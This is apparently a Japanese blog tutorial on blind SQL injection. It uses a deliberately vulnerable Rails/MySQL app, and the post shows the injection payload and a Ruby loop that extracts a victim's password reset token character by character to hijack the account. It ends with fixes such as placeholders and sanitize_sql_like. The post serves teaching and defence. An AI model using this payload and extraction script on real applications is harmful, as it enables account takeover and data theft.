SQLインジェクション、怖くなくね？

　
釣りタイです。怖いねという話をします。  

また、本記事はあくまでも学習目的での手法の紹介記事です。
実際に存在するサービス・サーバーへの利用/悪用は絶対にしないでください。

# 本記事について
SQLインジェクション(以下SQLi)で攻撃されちゃうやられアプリ(Rails + MySQL)を作りました。  
それに対して実際に攻撃シナリオを考え、それを行うRubyのプログラムも作りました。  
本記事ではこれらについて簡単に説明をしていきます。

想定読者は
「SQLiは聞いたことはあるけど攻撃を見たことはない」
ぐらいのRailsユーザーを想定しています。  
また、RDSはMySQLでの実行を想定して文章を作成しています。

説明する攻撃の概要としては
「Hit件数しか返さないAPIで、SQLiを利用し、パスワードリセットトークンを窃取してアカウントを乗っ取る」というものです。

# SQLiって知ってますか？

### `Robert'); DROP TABLE Students`

ミームとして有名なやつです。

後述するアプリで言うところの
```ruby
User.where("email = ''); drop table posts; -- ")
```  
的なものRailsでやってみたことありますか？

mysql2 gemだと複文がデフォルトではオフになってるので　
`;` 区切りでSQLを組み立てても、複文実行されません。
なので2つ目のstatementに当たるdrop tableは走りません。(※1)


### `' or '1' = '1';--` 
where句にこれあると、
ログイン突破出来たり、本来見えるべきでないレコードが取得できちゃったりするやつですね。  
じゃあpublicなテーブルにならこれやられても困らないんでしょうか
(そんなことはないという話を後でします)


### union系
後ろにunionつけて、全く別のテーブルをぶっこ抜くようなやつです。

レコードの中身の情報を返さず、
カウント結果しか返さないようなAPIならUNION系のSQLi起こせても問題ないのでしょうか
(そんなことはないという話を後でします)

# 今回作ったアプリ
https://github.com/k-karen/sqli-rails

## 機能概要
- 簡単なログイン機能と、投稿機能を持っています。
- ユーザーはメールアドレスとパスワードで認証してログインします。
- パスワードを忘れたときのために、パスワードリセット機能があります。
- ユーザーが自身の投稿のうち、特定のtagを含んだものが何件有るのかを調べることができる機能があります

## API定義(一部抜粋)
- `POST /api/v1/users/request_password_reset` 
emailをpostしてpasswordリセット要求出来ます。
- `POST /api/v1/users/password_reset`
emailにとどくpassowrd_reset_tokenをpostして当該アカウントのpasswordをリセットします
- `POST /api/v1/posts`
postを作成します
- `GET /api/v1/posts/count_keyword`
以下のような処理のエンドポイントです。  
リクエストで指定されたtagを含む自分のpostのレコード数を返します。
```ruby
def count_keyword
  # tagsは,区切りでtagの文字列が入ってる想定、簡単のためにこの検索をしているが、本来はもっと複雑な条件になる
  count = current_user.posts.where("tags like '%#{params[:keyword]}%'").count

  render json: { count: count.to_i }, status: :ok
end
```

# 実際の攻撃シナリオ

今回は、ユーザーのパスワードリセットトークンを盗み出す攻撃を実際にやってみます。
実際のフローは以下のように行います。
前提として、攻撃者は被害者のe-mailアドレスを知っているものとします。  

(なお、以降説明する攻撃の手法を確認すれば、実際にはe-mailではなく、被害者のidなどからも攻撃が可能なことはわかるかと思います)

### 攻撃フロー

#### 0. 被害者ユーザー(A)の作成
sign_upのエンドポイントを叩いて被害者ユーザーを作成します。  
ここで被害者のemailを`victim@example.com`と仮定します。

※スクリプトの簡単化のため、activation tokenがsign_upのresponseに含まれています。
 実際のサービスではそんなことはしないので気をつけて下さい。
 (∵メールアドレスの所有確認にならないから)

#### 1. パスワードリセット要求
Aのメールアドレスで`パスワードリセット要求` を送ります

#### 2. 攻撃者アカウント作成
被害者と同じような手順でアカウントを作成します

#### 3. Postレコードの作成
以降のSQLiで、検索対象とするレコードが必要なので、それを作成します。
以下はRubyのコードを示していますが、実際にはAPIのPostリクエストでレコードを作成します。
__ここでは、検索対象とするレコードをposts.tagsに`piyo`が含まれるレコードとします。__

```ruby
current_uesr.posts.create(title: 'title', content: 'content', tags: 'ｔag1, piyo, tag2')
```

#### 4. SQLiの実行
以下の定義のAPIに対して後述のリクエストを繰り返し送ることで、
被害者のreset_password_tokenを特定します。
```Ruby
def count_keyword
  count = current_user.posts.where("tags like '%#{params[:keyword]}%'").count

  render json: { count: count.to_i }, status: :ok
end
```

#### 5. パスワードリセット
4.で特定したトークンを利用してパスワードをリセットします。  
攻撃者はこのときパスワードを設定し直すので、emailとパスワードが分かっている状態です。

#### 6. ログイン(終)
変更したパスワードと被害者のメールアドレスでログインをします
おわり。

### 今回使うSQLiの説明
```ruby
current_user.posts.where("tags like '%#{params[:keyword]}%'").count
```
の部分に注目します。

```SQL
SELECT
COUNT(*)
FROM
  `posts`
WHERE
  `posts`.`user_id` = 122
  AND (tags like '%ここにparams[:keyword]に指定した文字列が入る%')
```

ということになります。

攻撃者はtagsがpiyoにmatchするpostがあるはずなので
`params[:keyword]='piyo'`としたときに

```SQL
SELECT
COUNT(*)
FROM
  `posts`
WHERE
  `posts`.`user_id` = 122
  AND (tags like '%piyo%')
```

のようなクエリが実行されて、piyoというタグを含むレコードの件数が取得できるはずです。

これを利用して以下のような値をparams[:keyword]に設定します。
```ruby
params[:keyword] = <<~SQL
    piyo%' and 1 in (
     select 1 from users where 
         reset_password_token like 'a%' 
         and email = 'victim@example.com'
    )
    and 'hoge' like '
SQL
```
このとき、SQL全文は以下のようになります。

```SQL
SELECT
  COUNT(*)
FROM
  `posts`
WHERE
  `posts`.`user_id` = 122
  AND (
    tags like '%piyo%'
    and 1 in (
      select
        1
      from
        users
      where
        reset_password_token like 'a%'
        and email = 'victim@example.com'
    )
    and 'hoge' like '%'
  )
```

副問合せの部分は
`victim@example.com`の`password_reset_token`が`a`から始まっている場合には1を返します。
つまり、 `count_keyword` の結果が0より大きいか否かを確認することで、  
`password_reset_token` の1文字目を確認できるクエリになっています。

この様に1文字ずつ確認していき、 
`like 'a%'` の部分をだんだんと発覚した文字に置き換えて伸ばしていくことで、
tokenの全文を取得することが可能です。


### これらを実際に実行するコード
長いのでこれを開いて読む必要はありません。
https://github.com/k-karen/sqli-rails/blob/main/exploit-scripts/exploit.rb


以下、重要な部分のみ切り出しています。

```ruby
# 適当にtokenに使われそうな文字を列挙
CHARACTORS = [*('A'..'Z'), *('a'..'z'), *('0'..'9'), '_', '-']

# ここにtokenを1文字ずつ付け足していく
token = ''

# トークンの長さが不明と仮定する、全文字探索してlikeに引っかからなければ、token全文を取得したとする
# その確認のフラグの値
token_updated = true 

while token_updated
  token_updated = false
  CHARACTORS.each do |chara|
    # tokenに1文字付け加えてみる
    injection_query = "piyo%' and 1 in (select 1 from users where reset_password_token like '#{token}#{chara}%' and email = '#{victim[:email]}') and 'hoge' like '"

    # SQLiのリクエストを送る
    res = count_keyword(session_cookie, injection_query)

    #レスポンスのｃountを確認して、ループのための処理をする
    if res['count'] > 0
      token += chara
      token_updated = true
      print("\rtoken searching... #{token}")
      break
    end
  end
end
```

### 実際に実行してみる
```bash
$ docker exec -it sqli_app bash
# -- in conatiner
$ bin/rails db:create db:migrate
$ ruby exploit-scripts/exploit.rb
```

`docker-compose logs -f` しながらexploit.rbを実行するとこんな感じです。  

![out.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/af051942-b21c-8820-abdc-45dc5d9616ed.gif)

## まとめ
__SQLi、(攻撃者からすると)超便利で怖いので絶対にplace holderを使いましょう。__

例えば今回の場合は

```ruby
count = current_user.posts.where('tags like ?', "%#{params[:keyword]}%").count
```
の様になっていれば、SQLiは起きませんでした(追記読んで)


`current_user` でscopeを区切っていたりしても、
副問合せの部分で自由度が高いので、好きなテーブルのデータを確認することが出来てしまいます。  

order句でも似たような方法でこのような攻撃が可能です。
(当たり前ですが)where句以外も気をつけましょう。  

今回はレスポンスのcountの値を確認しましたが、こんな露骨なAPIでなくてもインジェクションがあれば攻撃が可能です。
他詳しく調べたい場合はBlind SQL injectionで検索したり、下記参考サイトをご参照ください。


## 参考にしたサイトなど

https://www.docswell.com/s/ockeghem/5DWJ8Z-rails-sql-injection-examples
https://book.hacktricks.xyz/v/jp/pentesting-web/sql-injection

## 補足
WAFで普通に弾かれるけどね…ということを言いたくてnginxを用意してあるのですが、
また元気があったら記事にするかもしれません。

(※1) 
multiple statementを実行可能にすると、このSQLiは実現可能です。
onにする方法は以下を参考にしてください
FYI: https://github.com/brianmario/mysql2#multiple-result-sets


## 追記

#### `sanitize_sql_like` を使いなさ～～い！(しかるねこ)
https://api.rubyonrails.org/v7.1/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql_like  


####  order句でもSQLiできるか
文中に
> order句でも似たような方法でこのような攻撃が可能です。

という記載をしてしまいましたが、Rails 6.1からは `ActiveRecord::UnknownAttributeReference` が起きてヤバそうなOrder句は弾かれるようになったみたいです。
(とはいえエラーをよく理解せず、外部入力をorderに渡す処理でArel.sqlを付けたらダメなのはダメなのですが…)